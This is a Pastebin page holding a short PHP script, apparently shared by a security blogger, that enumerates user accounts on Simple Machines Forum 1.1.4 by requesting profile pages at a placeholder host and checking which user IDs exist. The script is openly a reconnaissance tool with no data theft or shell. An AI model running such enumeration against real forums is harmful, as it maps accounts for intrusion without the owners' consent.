Advertisement
Guest User

smf 1.1.4 user enum

a guest
Apr 16th, 2012
287
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.49 KB | None | 0 0
  1. #!/usr/bin/php -q
  2. # smf-user-enum.php
  3. # http://hauntit.blogspot.com/
  4. #
  5. <?php
  6.  
  7. // 'getnames' function will not be public available now
  8.  
  9.     echo "\n.'[ smf 1.1.4 user enum ]'.\n";
  10.  
  11.     for($i = 0; $i < 10; $i++){
  12.         $xml = file_get_contents('http://yoursmf/index.php?action=profile;u='.$i);
  13.  
  14.         $tmp = (preg_match("/Summary/i",$xml));
  15.         if(preg_match("/Summary/i",$xml)){
  16.             echo "\n[+] Found user : ID=$i";
  17.             echo ""; //
  18.         } else {
  19.             echo "\nnope";
  20.             }
  21.     }
  22.     echo "\n[+] Done\n";
  23.    
  24.  
  25. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement